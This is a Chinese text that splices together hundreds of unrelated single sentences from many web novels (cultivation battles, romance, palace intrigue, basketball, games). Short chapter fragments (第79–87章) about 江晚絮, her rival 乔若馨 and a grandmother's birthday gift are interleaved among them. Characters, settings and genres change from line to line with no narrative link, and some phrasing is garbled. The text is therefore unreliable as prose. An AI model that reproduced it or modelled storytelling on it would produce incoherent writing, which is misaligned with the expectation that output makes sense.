在这些液体的爆发之下,一片片蘑菇云般的场景,瞬间就出现在了现场,而且随着攻击的继续,这液体也是从前面开始,慢慢的往后喷洒着。
王茜看着王侃靠着墙,慢慢地闭上了眼睛,呼吸也变得平缓,像是在开始思考什么。
早饭用昨天卤香干鸡蛋的卤水煮的面条,撒上一点葱花,香得人直流口水。
太上长老们正在清点归丹境强者的储物戒指,时不时发出一声惊叹。
少年僧人蹙了蹙眉头,大概是在想这些正在玩乐的士兵,见到龙贾后,会不会立刻变得拘谨起来,不知所措然后再行军礼。
经历了20分钟的折腾后,夏凡终于和赵妩媚完完全全地抱紧,身体不断地微微颤抖着。
我稳了稳身形,再次拉弓搭箭,我就不信还射不到你,看着狮鹫再次滑翔而来,这次我并不急的将箭矢射出,等着狮鹫飞近了50码,一道金色箭矢,闪射而去,“嘭!”震天箭!如同子弹的命中了狮鹫。
第一卷 第79章 演戏给她看
秦兰端着茶杯,嘴角勾起一抹冷笑,显然是在等着看江晚絮出丑。
江晚絮的手指微微收紧。
和她预想的一样。
豪门的傲慢与偏见,从来都是这么赤裸裸。
踏鸿子盯着地上的战友,欲哭无泪,神情悲痛,连斗鸡眼都恢复正常了,踟蹰半天也舍不得走。
乾的眉头也皱得很紧,无星都发现了白渊的状态不对劲,一直在盯着那道光幕的他自然也是早早就发现了,跟无星不同的是,乾算是基本上看过了之前白渊做的所有的事儿,这就导致乾对于白渊的状态,更加迷惑了起来。
白夜凝视着眼前这个年轻人,在此时此刻,当他仔细去打量的时候,他才发现,自己的这个儿子,和北冥千瞳,当真是无比相像的。
阶段性目的,是将阿史那却云扶持上位……这哥们出卖了那么多同胞,是时候给他一点甜头了。
没有想到他们两个之前启动阵法封闭这处空间,本来想来个中捉鳖,到现在却成了自己的拦路虎。
就在白夜镇杀他的那一刻,白夜的杀伐之力在他的身体之中疯狂的游走,他的生机,还有力量……属于他的一切,皆在被掠夺着,也在被摧毁着。
不会是佛道双修,这天音寺和天雷寺的绝学当真是不同凡响,苏阳看到莲池霞的表现也是心中惊叹。
伶舟月青丝盘云髻,眉目如画卷,唇边沾着晨露,眸子里映着月光。
来到东方木属性所占据的范围,木源树立刻传来了善意、亲昵的波动!以前君一笑或许还不觉得什么,但现在君一笑知道了,木源树是有着自身灵智的。
敌对天尸感觉林辰的干扰,怒火更盛,攻势加剧,凭借着凌驾天尸的尸元修为,雷霆挥爪,连连重击,逼得天尸节节迫退,难以招架。
“大哥,干脆,我们就聚集在一个房间里,来一个干一个,我负责守门!”阿呆一边往嘴里塞着鸡腿,一边含糊不清的说道。
“梅森,你的手下都已经下去报道了,你也该动身了!”高兴摆手,阿呆直接捏断了梅森的脖子,根本不容梅森再说什么,或许,对于高兴来说,梅森无论知道多少,想说什么,都已经不重要了。
“自尽吧,我会善待她们!”紫袍至尊指着晓晓三人,眼神玩味。
“他当时做手术的时候有没有说什么?”我知道作为大夫,在做手术之前,应该询问一下病人的情况,诸如此类的,说不定能够得到线索。
事实上何止是涿郡一中从来没有出现这种事,就是整个涿郡、整个幽州都没有出现过高考哪一门满分的。放眼全国,似乎倒是听说过,但也极其廖廖。
而反观江丰,平时给人的感觉就是闷葫芦,虽然学习刻苦,但成绩平平,独来独往,为人低调。甚至他们都见过好几次江丰被张纯或言语讽刺,或推搡怒喝,但江丰都很少反击。
我听到没什么大问题,心中松了口气,抱着陈乐到了一楼的输液室。
“你想找死?”已经低头了,高兴还不放人,这已经不是和孙建之间的事情了,而是把矛头对准了孙家,高兴也太狂妄了。
第一卷 第80章 她能有什么本事?
颜萧萧点头,但多少有点敷衍。昨晚等靳光衍回来的时间,她翻来覆去想了很多。她无法自欺欺人的是,他们的问题从来都不止是来自他家里的反对。
凯萨松了口气,将无怯送出门,看着他的车离开,赶紧打电话给席曦晨。
声音渐远,应宁王摇头笑笑。总管事抬头看了一眼自家主子,果不其然,在他唇边是一抹他为十三爷身份时会有的商人算计的笑容。
剑斧在空气中呜呜作响,仿佛飞速旋转的齿轮,空气中甚至隐约间迸射出火星。
按理说,这个时辰,孩童们应该都随各家大人回去了,还是说,这几个孩子本就是宫里的?
“说得好像我想找个什么样子的就能找到什么样子的似的。”沈子舞这次附了个自己扮丘比特的动图。
“那应该是那个老家伙寂寞了,不用管他!阴棺没事吧?”村长看着中年人。
当时,张建兴练习并摧毁了这个意境,拿着魔剑,强大有力。后来,林天遥是老人的弟子。
这次初见的结果就是,沈烁开局混进了青龙帮,空降直接成为二把手。
“好。”靳光衍只觉得心安,这种现实的温暖,不就是他想要的吗?
“成功了!大家按照之前地安排,开始进攻!”片刻之后,楚凌宇终于松了一口气,从现在开始,他的修为也开始迅速滑落。
上苍道人喊得很入戏,甚至不自觉地加了一些蛊惑人心的伎俩,让部分心志不坚的禁军隐隐意动起来。
“公道,好,元丰道友就说说你需要讨个什么公道!”易桓公怒极反笑。
之后他们没有怎么联系了,直到今天,被家里人强行要求来参加宴会的马思洛,走进会场时,第一眼便发现了夏彦锶。
他本身就是按照仙修世界的天道所演化,哪怕诞生了灵智,他的本质本源依旧是仙修世界的天道,蕴含的是仙修世界的法则。
江墨城将视线移到她的身上,看着她一脸认真的样子,也是点头,继续将筷子拿起来吃。
夏霖安顿时放开叶朔,眼神得意地看了他一眼,仿佛在说,看吧,我男人还是最宠我。
再高一点就是有灵性的法宝了,这些宝物不仅材质上乘,铸造精湛,还和主人心灵相通,这种等级的法宝就比较难得了,像九头虫的“银光月牙铲”,红孩儿的“火云枪”,沙和尚的“降魔杖”等宝物。
“好了,既然师弟回来了,这些也就不重要了,师弟此行可达成目的?”莫梓枫微笑问道。
有儿子在,那些辛苦在她看来也不再是辛苦,而且满满的幸福和满足。
见李青云脸上的神色总算是“雨过天晴”了,一桌人总算是松了口气。
“我……没什么,我什么也不说,就是打个喷嚏而已。”我真的不需要再说什么了。
不过他在心中,也不得不承认,的确是吃了秦有容送来的药,才会有效果的。
这话问的苏牧忍不住便是一阵蛋疼,心说我又不是跟他住一起的,这我怎么知道,你这样问很容易让同学们误会呀。
苏苼白的姨太太而今只余下四位,除却风头正盛的二姨太和六姨太,内眷中还有三姨太与五姨太。
在大阵保护之下的罗塞尔宫,灵气虽然要比外界充盈,但跟杨木前世所在的青玄大陆比起来,还是显得有些稀薄,就像是高原的氧气总要比平原稀薄一样。
我们四人一起踏着月光走回去。李白鸽和王永威走在前面,我和田欣走在后面。一路上,他俩的互动都没有停过。
林影闻言,不紧不慢地喝了口茶道:“哼,我料他没那个胆子,他要敢阴我们,那么我们第一个搞死他,刚才你也试了他的身手,知道他是个什么实力了,我们三个若是要杀他,他撑不过半招。
刘晓光一看她把身体完全放松地交给自己,不由心里一荡。不过,他清楚她此时的情绪,所以没有做任何出格的动作。
众将士猝不及防,根本没想到还有这么一出,有的人只来得及惨叫,便口吐白沫倒地不起。
歪头冲着福特笑了笑,随后杨柯一步上前,伸出双手,极其主动的接住了布莱尔的发球,然后熟练的控着球,缓缓推向前场。
如此一幕到处都在发生,每一次眨眼地功夫都有不计其数的士卒倒下,可两军将士都已是杀红了眼,哪怕天色已然昏暗无法视物,但凡是有人靠近了自己所在,问也不问就是一刀过去,如是觉着不对才会停手转向别处。
“如果你还想再体验一把刚才从高空坠落的感觉,就尽管沉默下去好了。不过我提醒你这次可没有降落伞提供给你了。”艾尔菲看赞比特脸上仍有犹豫之色,忍不住催促道。
罗大娘早前也在信里与他提过,说是今年开春朝廷方面并没有把红薯种子分发给城中百姓,只是给了各地官府,还有一些官员,以及皇亲国戚。
娄之英脚下一兜,使出师门绝学脱渊步,两掌翻飞,和孙立琢双拳相对,战了数合,心中暗道:“孙伯伯对立琢兄弟寄予厚望,我若胜了,于他老人家脸上须不好看。”当下放慢脚步,出掌也不如先前凌厉。
一些装备太差,等级太低想要摸鱼的玩家往后退了一步,表示放弃。不过大部分玩家觉得两个技能而已,还能秒人不成?
第一卷 第81章 她是靠男人上位的
“让开!”
乔若馨对着门口的安保人员呵斥。
安保人员像看傻子一样看着她。
“请出示证件。”
“证件?”
乔若馨冷笑一声。
“你知道我是谁吗?我是乔氏集团的大小姐,乔若馨!”
“我爸给你们研究院捐过款,让我进去!”
安保人员纹丝不动。
“没有通行证,任何人不得入内。”
“有事儿,哥。回去记得让人给我送头牛过来,我能吃下整头。”杨卿卿摸着肚子委屈道,她昨天肯定没吃老虎肉。
齐王的眼角余光一直在留意夜千华,看到他的脸上出现了一瞬的失落的神色,原本温润的笑容,转变为和煦的弧度,傲然的负手于后,然后听着接下来的众臣的说话。
当她带着秀暖莹一行人到正殿的时候,枯荣道人差点没有回过神。
千里一动不动地站着原地,直到太阳升起,四周除了她,再无一个活人。
颜二丫的语气不太好,但是言下之意显然也是如果方柔娘能够保持如今的状态的话,她再别扭,也是愿意对方加入的。
“桑麻,别逗了,子卿他才刚刚十岁,怎么会赐婚呢。”我有些不敢相信,也不愿相信。
最终,在这个世界里,升阳帝国的魔纹机甲部队和百合子法师团踏平了整个地球,以一种意想不到的方式,完成了他们心中一直萦绕的那个“天命”。
真正的收魂钟是一件上品灵器,几千年前曾出现在修真界,引起一场可怕的血雨腥风,引得无数修士丢了性命。最后星云谷有一名强者出面,抢下这件上品灵器,这才停止闹剧。
“不好,族长有危险。”王家一战王说道,说话的正是王家的大供奉元奇。
玥儿几乎一瞬间就确定了,那白光的威力,别说是合体境,就算是渡劫境的高手来,也是绝无幸免的可能。
敖福的脸色憋的通红,他不过就是个古板的老头,又哪里见识过现代人的唇枪舌剑。这么一番话下来,他却是被呛得哑口无言。
在这个世界中张岳成了一个好奇的宝宝,开始尝试接触不同的线条。
为了这篇破专访,她已经丢了初吻,还要怎么迎难而上?难道真要献身给他才算完?
姜晨点了点头,对尉迟德这样的回答,他已是很满意了,不能再对尉迟德要求过高。毕竟现在的他也做不到以德报怨,自己做不到的事,也就不要强制要求别人做一个打不还手骂不还口的人。
姜晨未作任何犹豫,给身后的陈铭志四人使了个眼色,率先发动了攻击。那些少年不需要任何命令,在看到姜晨几人已经结阵,随即也以组为单位尽皆跟随姜晨几人身动。
不知过了多久,忽然,轰隆隆,山洞外传来惊天响雷,将夏蓁从睡梦中惊醒。
“连我的盖帽都给抢走了……”霍华德心里开始积攒了更多怨念,看着孙卓这一场数据如此全面,他也变得更加着急。
公孙白头戴白玉束发冠,身着紫蛟甲,腰悬百炼精钢剑,身后的一袭火红大氅猎猎随风招展,那俊美的面目、玉树临风般的身段,再加上雄姿英发的从容和淡定,在阳光的照耀之下,如仙如神,引人望而心折。
突然红荧的脚下踩到了什么,她低头一看,是根白骨。再往旁边看,是一堆白骨。
还有和他们一样的人,数家投行的负责人,都凝神以待,生怕听漏了一个字。
第一卷 第82章 爽文女主?
“可是……可是她明明……”
乔若馨对江晚絮充满了质疑。
“明明什么?”
李教授冷冷地看着她。
“你以为科研是用钱能买来的吗?”
“你以为这里的专家都是傻子吗?”
“小乔,我原本以为你只是有些娇气,没想到你竟然如此浅薄!”
“如果你再敢胡言乱语,别怪我让人把你请出去!”
顾历南看了一眼坐在餐桌对面的迟莞,耳根子有些红,低头吃菜,没有回应这个问题。
虽然他从没投过曹操或袁绍中的任何一位,却也没有得罪过任何一人。
可就在这个时候,一只土黄色带着鳞片的大手忽然从天而降,向魏风的顶门抓了过去,魏风大喊“蚩尤!”猛地再次化作长虹,闪开了这一下。
“那你得赶紧把你手下弟兄叫过来,让他们知道此事,免得一个个心里有一些不舒服。”萧何知道刘邦没有选择当县令,手下很多人都有怨言。
他没想到,平时像个怂包的一样的颜大姐,竟然也会有如此胆量。
期间叶红尘也找了过来,看见林江守在外面锻剑,也好奇地在一旁陪了他几分钟。
唐俊琛还想着回来看看,若是合适,便偷偷建议唐时玥去看看他的,没想到回来之后,就听说孙婆子把他们从老屋赶走了,虽然也有新屋住,但银子……肯定更不凑手了。
他们想要让刘邦收下这些人,现在刘邦不要的话,那么他们只有杀了,有一点不仁义,可是军令如山。
“等你很久了。”男人最后抽了口烟,将烟头扔进了路边的垃圾桶。半截烟头在空中划过一道漂亮的抛物线。
道宗半神怒道,他自恃实力,一道宝术绽放,神光暴涨,一头麒麟凝现,朝着陆风撞来。
随即消耗两千防御值,陈宇峰突破了,到达玄体师第三阶段的破虚。
沈丰见好就收,反正四分之三也比她最初的预计多了,足够她再买一把武器。
但目前自己要面对的是一条几乎修行千年的青蛇,他所能算出的,不过是零星的片段罢了。
赶到了豫王府的墙外后,她稍微助跑过后,爬上墙外的杨树,然后往墙上一跃,就落到墙上,紧跟着,动作利索的翻墙进入。
这突如其来的变化着实是让秦星吓了一跳,急忙收敛起自身的灵力,这才逐渐令风灵素消散一些,最终稳稳地保持在了一个较为平缓的速度上升着。
向大海的心情无比复杂,外面的大雨,并没有理解他的心情,还在继续不停地下着。
铃声终于响起,平时闹耳的叮当叮当此时却犹若一道清泉,撩挠的学生们立刻骚动起来。
因为大白鹅临死前还念叨着带她去找药剂师解开厄运之云的负面状态,是的,虽然大白鹅没说完就死了,但沈丰知道。
这颗水晶明明深邃的如夜空,但直视它却有五彩斑斓的炫目色彩映入脑海。
所有人都屏息凝神,时刻保持警惕,以确保在亚沙拉出来的一刻能做出及时的应对。
如今万兽宗已经被根除,华夏境内需要特战队出动的地方也少了许多,所以让他们去海外寻找灵气总穴的下落并无什么不妥。
一路走来,曲折游廊,脚下石子漫成甬路,让无名走的差点晕头转向,因为西门多美为了能让悔儿多看一看西门家的景色,竟然带着他们观赏了起来。
第一卷 第83章 灰姑娘还是白天鹅
乔若馨坐在沙发上,手里紧紧攥着一张镀金的请柬。
那是顾家老太太八十大寿的请柬。
也是秦兰特意让人送来的“定心丸”。
“江晚絮……一个只会读书的书呆子,到底凭什么跟我斗?”
乔若馨咬着牙,眼底全是红血丝。
我会以神雷在东北方开路,请各位道友随我拼杀,杀出一条生路。
董强感觉自己的整条右臂都抬不起来了,只见他的整条右臂已经被彻底轰碎,血肉模糊一片。
刚把正房打扫了一番,想要来帮忙拔毛的苏圆圆,一听到这话,下意识看了一下自己的肚子,还是一样的肉多,没掉肉。
对教职类师范生来说无比重要,一但出现什么差错其都无法接受再说让她带实验班明面上绝对重用,她就算上告也做不到。
赵振南连忙拉着赵楚楚在餐桌上坐了下来,他指了指这一桌子丰盛的美味佳肴,说道。
刘兴国也不是个好的,石慧稍一使手段,就被迷了眼睛,死活要退亲。
沈落雪不在家,也不会再有人伤害她了,现在呆在家里是安全的。
但是现在,他看到沈南星,又听到何长林恭喜沈南星的话,他自然要先问个明白。
炉内火流升腾起伏,炽意大增,更是隐隐传来一阵清越的剑鸣声。
明明所有的一切都按照莫少辰设定的方向走,可是他总是觉得,这鲜艳的唇好似莫名的诡异。
我忙要抱它起来,龙井拉住我,往那妖怪身上一吹,只见焦毛四散,露出来了妖怪的真身。
时浩东等人均是一愣,他莫非还要一次性投掷剩下的七把斧头不成?
就在这时,时浩东嘴角忽地闪过一抹冷笑,扣动了一下扳机,那男子倒下,身后一个男子的脑袋也露了出来,又是一枪。
众人都是无声,白发人送黑发人,本是不该出殡。然而为着这有罪之体,楚家当家也是要跟祖先告罪的。
我刚刚已经说过了,乐空鸣从一开始就把计划的重点放在了化血魔功上。
原来相比与爱情,我对苏子阳的感情,更多的是习惯,毕竟六个春夏秋冬,两千多个日日夜夜的爱相随,那是融进骨血的牵念和习惯。
为了庆贺谈星云出院,第三天晚上作为家主的容盛源才召集容家所有人,一起在餐厅吃个晚餐。
这次容允琛扣着车门的手已经松开,谈星云趁机赶紧钻进车内,随后立马开车离开。
如果这样可以的话……李灵一忍不住想,那是不是其他的无限宝石也可以被自己融合?
“我们回去准备些东西,你先上去。”孟瑶说完这句就拉着冥辰进了屋关上了门。
“我们不能莽撞行事。”此时局长弗瑞冷静的说道:“根据之前的战斗,很明显,洛基那边也有着许多新出现的能力者,就和你们一样。”他说完看向聚堆站在一起开拓者一眼。
他和守夜人交战多年,明白其狡猾本性,也在怀疑这个承诺有可能并不是真的,也许到时候他们一反悔,这件事就这么无疾而终了。这种巨大的希望一旦破灭,绝对会对野人们心里造成巨大的冲击。
冥辰听见这话脸色很臭的想走,孟瑶伸手拽住他,手轻轻的拍了拍他的手安抚他。
眼见西方二圣皆显出元神舍利,太清道人眉头一皱,也跟着显出元神三花,先天至宝太极图高悬空中,庆云之上落下道道阴阳之气,天地玄黄玲珑宝塔垂下条条玄黄之气。
第一卷 第84章 跳梁小丑
“呵呵,没想到省长还爱喝二锅头呢!不是有好酒。?雷明洁奇怪的问道。
“那可得看什么事情啦”!萧寒总得拿一把吧?故作需要商量的架势说道。
同时浅显发觉到,虎王的双脚灵活,但是却没有丝毫的力量。而他的双手由于要支撑起地面,所以灵活性就差了许多。但是,双手的力量大得惊人。所以,浅显只要避开虎王手上的攻势就可以了。
赵政策知道徐东清这话也是半真半假,有不敢冒险的成分在内,也有一个党员的党性原则在制约着徐东清,或许也是真的想给自己这个机会。
“结吧”!和舒芳事,可算是水到渠成,虽然内心不是没有遗憾,但是萧寒知道自己的心事,也只能深埋的心了,以他的身份和影响力不得婚变,面对舒芳,也不忍心。
“想得美!就是他们娘俩这么想,从我这儿就通不过”!唐老听老太太在下边这样宣传,暴怒的大吼了一声,抓起床边的杂物就要打向老伴儿,可手刚刚一动,一口鲜血,噗的喷了出来。
她将墨镜放进包里,踩着高跟鞋款款上了楼梯,门铃响起的时候,程家人刚开始吃晚饭。
“什么?叔叔!您说的这是真的”?苦苦计算自己手里那点可怜的资产之际,赵明恍惚的听到床边这位好看的叔叔要给自己找工作,债务呢。也能用自己的工资慢慢偿还。这一刻,赵明简直不敢相信自己的耳朵。
“也罢!我冥河在洪荒天地活了亿万年。此生也算不枉了。今日我冥河便自解功法。焚烧元神肉身。”冥河似费尽了全身力气。讲出这一句。说罢,牢牢地盯住巫十三。
比起来,圣阶骑士要找个合适的坐骑就更困难了,能完全满足圣骑士要求的坐骑几乎可遇不可求的。
这也是一夏对于姜森最为无可奈何的地方,而这一次还遇见这么个奇葩,一夏简直要有些受不了了,干脆一个电话就拨过去了。
可是,这种噪音却是如影随形,不管一下到了哪里,都难以逃脱。
“看来这两天是不会太平了,只是不知道陶昊为何不亲自来,却叫了苏乔过来。”牧天一左思右想,不得其解。
随着章平天一声令下,那些自愿出列的筑基期弟子纷纷迈着沉重的步子一个个向着高岭边缘走去。
林豆豆有些头疼,如果超凡者真的不当这个冤大头,她就得另想办法帮倒霉蛋脱身。
不过大多数人都会选择,能跟自己灵根系脉相同的功法,以充分利用其优势。
李思萌礼貌的回应着男子提出的问题,大部还都是关于寒易尘的问题。
林成看着他,知道他一定是林涛的后代。当他到达他的王国,他可以敏锐地意识到年轻人的血液。
如果黑铁块没有反应,就意味着他和朱桥拿出了精神石,足以使他的力量迅速提高,但如果黑铁块有反应…恐怕他不能用灵石来修行。
“他是我在和她分开后在这林中捡到的,当时他的蛋很大我以为是什么稀奇品种,日夜孵化没想到是一只雕,现在看来这雕儿确实不同寻常。”独孤看着雕儿,似乎又勾起了他的心伤,一边喝酒一边忧伤的看着水中的雕儿。
正在与人斗法的萧鱼淼冷不丁地打了两个喷嚏,且后背冷风飕飕刺骨,遍体生寒。
傅俭见魏延自来,恐赵舒有失,便想保其后撤。赵舒乃持剑喝道:“吾为国家上将,岂惧反贼?众将敢退后一步,立斩不赦。”诸将闻言,无不动容,再无后退之意,尽皆转而向前,与魏延部下交战厮杀。
法正见赵舒说的底气十足,似乎对破吴之事成竹在胸,脸上神色显得极不自然,又随便说了几句话,便住口不言。不过多时,人马进城径直往刘备行辕‘永安宫’。及至宫门,又有不少羽林,内侍迎接刘备圣驾。
心伤离合,心感云弑天不动声色的付出外,那一腔怒火更加燎原。
她惊呼,看着眼前根本不容拒绝的莫子兮,看着他闭着的眼睛,睫‘毛’真的好长。
天地灵力包括天玄元气,其属性皆离不开金木水火土,万法修习,不离其宗,九九归一,天地五行灵力相生相克,五行归一。
这样的事情还是比较少见。魔兽的寿命很长,能当上一族首领的,都是些强横的家伙,活上个几十上百年,一点不出奇。
此时,只见场面上,落羽那看似没有章法,没有力量的拳法,在游走间,却渐渐的笼罩了擂台上的气势。
第一卷 第85章 谁敢说她有病?
乔若馨看着被众星捧月的江晚絮。
那个女人依旧淡淡地笑着,不卑不亢地回应着每一位大佬。
那份从容和自信,是装不出来的。
乔若馨手里的酒杯“啪”的一声掉在地上,摔得粉碎。
红酒溅在她的高定礼服上,染出一片丑陋的污渍。
“若馨,怎么了?”
“没事了,休息一下,没什么大问题了,这一弄需要调养一段日子才行,夫人这身子刚刚调养好,又来了这么一出,我先去调点东西给夫人。”王师傅叹气,收拾东西,退了出去。
“修真?那些都是骗人的戏法,我根本不相信这世上真的还有比长枪大炮还牛叉的。”徐媛掐着腰,自己把头一扭闭着眼睛故作镇定的说道。
诧异的回头一看,梅墨正站在远处,似乎在为他们防风,而十三阿哥则是含笑着盯着她看着,脸一红,冷玉别过脸去,不去看十三阿哥的眼神。
“谁说我傻?我只是懒得动脑罢了!”说着慕红绫冲李大牛扮了个鬼脸。
看着伊芙拿着一个探头一样的东西,朝我慢慢走过来,我心里在哭泣。
“好了啦,现在不是说这个的时候,皇上驾崩了,皇上的身后事,新皇帝的问题,这才是你应该关心的问题。”洛汐皱眉,沉声道。
蒋虎见阿凤和江铭没有理会他,但也没有为天福出头,心头便放开了;知道这又是一个皇室的人,认出天福后便又撒手不管了。
抬手抚上自己的胸口,我极力稳住身形,尽量不让自己晃动的太厉害,不想让理拉德看到我现在的样子。
木惜梅见翠梅脸色有些微微难难堪,便随便找了个借口将她打发了下去。
看着兄弟们开怀大笑,青云也笑,她的注意力就这么被转移了,什么高调低调甩了十万八千里,找也找不回了。
屋内氛围安静下来,唯有窸窸窣窣的翻页声,不知过去多久,元初瑶沉浸在记载的各家人物介绍中不能自拔时,突然听到闫欣喊她的过去。
【夜视卡】:能在漆黑的地方,如同白昼一样看清事物,有效时间十分钟。
梁凡看到这种情况,忍不住摇了摇头,这天道看来已经是破罐子破摔了,竟然一动手就是最直接的方法。
显然,我赌赢了,哥布林翻着白眼一一倒下,只剩下巨大哥布林一只。
此时,王浩然并未发觉周围十几名手下的不对劲,一脸怒气的瞪视着易寒,口中怒喝道。
黑巴挑人的时候,真没想那么多,他是看谁干得累,挑谁出来的。割稻子总比建房子轻松多了。
这样的画面在他看来,似乎比电影院刚刚上映的美国大片还要牵动他的心弦,这一刻,仿佛时间都不复存在。
听到晴儿的话,易寒嘴角处突然勾起了一抹邪魅的微笑,忍不住笑出声来。
这男人······叫什么来着?好像是邱哲宇吧?名字听起来倒是不错,怎么就只长个子不长头脑呢?
只不过每个热气球的速度很慢,而且似乎还有些并不是那么稳定。
男人两字说得极重,让云茉雨心里一沉,他万志伟聪明的很儿,以前不点不代表不知道,我还以为瞒的挺好。无奈,云茉雨眼珠子一转还是没想到什么好办法,就在这时,手机忽然响了,吓了心虚的她好大一跳。
第一卷 第86章 这礼物不值钱
“同房?说我和路瞳同房睡觉吗?一个宿舍睡觉难道也会造成流产吗?这个也太没有科学依据了吧!”师意瞪着一双大眼望着杨林萧。
辰逸阴沉的听着老二的演讲,而他的眼神却并没有停留在他身上,而是越过他望着老五,辰逸可并没有忘记当日老五使用的那炎灵斩,为了三花诀的成功施展,那是辰逸早就觊觎的一项强大技能。
“你…。”思妍心中一惊,莫不是武英夫人的事情漏了馅?如此一想心中不禁打鼓。
“邱先生,莫先生来了。”听见办公室的声音后,她打开门,带着莫轩轻轻的走进去。
没有人有心情和其他人聊天,能够战斗的人员无声无息地坐回到登机口前的座椅上,抓紧时间作必要的休息,等待下一波作战指令。寂静的船舱中,人们剧烈的喘息声清晰可闻,甚至心跳声都仿佛阵阵战鼓一般嘹亮。
魔音阵阵,原本的愤怒,此刻竟然罕见平稳了下来,这话一出,原本还感到不可思议的万族至尊,这一次是彻底的被惊呆了。
卯足力气,崔封施展青鹏诀呼啸在天空与树冠之间,四周盘亘着的飞禽生灵根本不敢近身,它们都嗅得到崔封身上散发出的禽类王者血脉的气息,虽无形,但却重若山岳。
“路瞳,师意和你在一起吗?她手机无法接通。”罗宇航焦急的在电话那头问道。
杨轻烟与杨轻雨二人,此时也来到了厢房之中,而罗岫,以及数名红光满面的老者,也紧随其后,鱼贯而入。
陈默知道她说的,是韩雯通过社交发给他的讯息:王八蛋,你究竟把瑶瑶怎么了,这两天你都不接她电话,她抑郁寡欢的离家出走,最后给我发信息,说要在外面旅游散散心,一时半会回不来。
荆轲手持那双削铁如泥的匕首,体表黑色光芒、白色光芒同时亮起,和杀过来的一头魔刀鬼王战刀撞击,荆轲身形一震,目光一寒,那匕首竟然玄妙地借势一挑。现在大家的武器都是以神力凝实而成的。
这是车轮战在理论上的弱点!在实战中,为什么花果山这边敢于明目张胆的使用车轮战,就不怕骷髅大军趁混乱的时候反击吗?
“好,对了你们这青门虎堂的实力如何?”这是后者最为关心的事情。
另外一个一起行动过的徐志国,由于郝世明等人之前经常冲出防线外,他没有在救护系统的治疗范围内,来不及治疗就被海族给打死了。
马耘今时今日的地位,如龙游大海,虎啸山林,再不是一省一市所能拘泥的。
第一次复活李业恩,还有一件事情让石天星久久难忘,犹如一块大石头压在心里,让她心里堵得难受,什么事情呢?就是李业恩手臂上多了一道龙虎牌印记。
整个魏城之中的倒是没有了,但是这事情自然还不算完,宁奕转念一想,觉得还不够,他还听说周围邯郡之中有几个城中也有世家派人前来提过亲。
“喂!这附近的人都认识我!”我臊的脸都红了,又不敢大喊大叫。
地龙洗浴之后,便开始履行他大内统领的职责了,首先他要到皇城上去巡视一般,因为那毕竟是他的职责所在,地龙首先让王山虎去将李三拳与张大炮找来,手下人答应一声报转身去了。
尤其飞桥甲板上那两支巴雷特反器材狙击步枪,威胁太大了,用不了几次攻击,就能摧毁咱们这艘船,把咱们送进海里喂鱼。
凌秒拨了风纪的电话,苏煜阳又让他开了免提。凌秒有些诧异,苏煜阳居然愿意让自己听到他和风纪的通话。
他清楚这些,才一直选择无视。但是今天……知道真正失去以后,远比自欺欺人更可怕。
谁都知道,在昊石集团这个王国之中,律昊天这个国王说什么,是绝对没有任何人能够反驳的。
江宁离无为极近,过去也不过一天半路程,这一路过去又都是人烟阜盛之地,宽阔官道上人来车往,原本想卷起帘子看看风土人情李丹若只好放下车帘,好挡住尘土,只隔着纱帘看着外面隐隐约约景色。
娜塔莎问道,自己曾经在王凯这里待过,知道王凯每天除了玩乐,就是锻炼,根本不会去处理什么公务。
地龙在向皇上与皇太后所坐的方位躬身行礼之后,这才离开乾清宫向外走去。
见到自己一直不对付的托尼被管理员大佬盯上,雄霸的心情那叫一个爽。
如今做官,得看两样东西,一个是资历,比如他这样的,和王府马夫出身,后来做了门房,虽然年龄不大,但是论资历,除了和王府的何鸿和焦忠等人,就没多少比他大的。
她想起了那一夜,那种夹糅疯狂和血腥的刀势,只一想起就忍不住浑身直打哆嗦。
他有着存档资料,也自认为是个优秀的人,但他只想享受生活,而不是折腾。
毕竟她可是管理着‘本心’粮店、百货店,出了这样的事,她怎么可能不知道?
“积雪多,道路湿滑,行走不便,严重影响了城内外物质流动,搞不好就会导致物价上涨。
偏偏也就是这种无与伦比的残艳与毒烈般的唯美,最是动人,仿若是不被祝福的感情,婉转而惨美。
“喝!”阿史那月的刀法凌厉,她身前那人被她连续几刀劈退,随即娇喝一声,将身前那人给砍翻在地。
其实出去玩也是可以的,但是咱们去哪里是不是,可别忘了咱们真的好久没有去公司了也不知道现在的销售部怎么样了?上次老杨说公司来了几个能力比较强的人但是好像不想好好做,你说咱们要不要过去瞅瞅。
他与何鸿是真正的同乡,向来亲近,说话自然与别人不一样,没多少顾忌。
第一卷 第87章 我要让他们,把牢底坐穿
江晚絮的声音真诚而恳切。
老太太看着那串佛珠,又看了看江晚絮满是伤口的手。
眼眶突然有些湿润。
她活了八十年,什么好东西没见过?
那些人送礼,送的是面子,是攀比。
只有这丫头,送的是真心。
“好孩子。”
老太太颤抖着手,将那串佛珠郑重地戴在了手腕上。
“这是奶奶收到的,最好的礼物。”
老太太拉过江晚絮的手,在那满是伤口的指尖上轻轻拍了拍。
陈长老目不转睛的看着躺在地上的刘鼎天,语气不善的对执勤弟子说到。
刘鼎天笑了笑,他当然不会去当什么魔修的特使,人不人鬼不鬼的样子,看着都恶心,现在知道了董刀的大概去处,凭真本事为师傅报仇就是了。
然后,魔虎王带兵冲杀了下来,第二波敌我双方的冲击瞬间是冲击在了,一起。
清格勒的心思却要复杂一些了,所以暂时陷入了沉思之中。他所以之前答应追随陆缜,乃是因为对方承诺自己会为徐恭报仇。可现在,陆缜连自身都难有保障,想再入官场更是困难重重,那他的承诺还能兑现么?
而包蕊虽然追赶一阵,但是始终无法在层层密林之中伤到那头狮子,在追了一会只得作罢。
“那好,前辈,事不宜迟,我得这就前往!”独远说完,神念一动,红忙一驰,独远,和裕龙前辈一起消失在了,空间石之内。
而和信商会的一步步进展,便是意味着王家一步步的后退,陷入困境。
也不知道过了多久,阿碧娘长长的吐了一口气,睁开了眼睛,脸上那一层挥散不去的黑气已经开始淡去,脸上露出了非常兴奋的神色。
我摸着她的脸,着急万分!再看王玲伟他们,顿时感觉无能为力。
五品灵兽本身的战斗力其实不算太强悍,但五品以上的灵医或者是灵怨,可以利用血脉激活的通灵之术,让灵兽进入一段时间的战斗状态。
在他们跳下来后,原来的位置上,出现了两把座椅,座椅上坐着的,是被雷欧带走的其中两个军团长,此刻两人都昏迷着躺在上头。
这一下可真的很痛,赵出眉头一皱,伸手握向她的下巴,道:“放开!”语气有点高,已有点怒了。
不过这一次是意料中的收获,并没有找到类似于基因武器项目的存在。
从前陆家人都有事做的时候,一个月也就百来块钱,他们家不全是城里户口,得买高价粮过日子,扣了吃用,还得供着八个学生,根本攒不下几个钱。
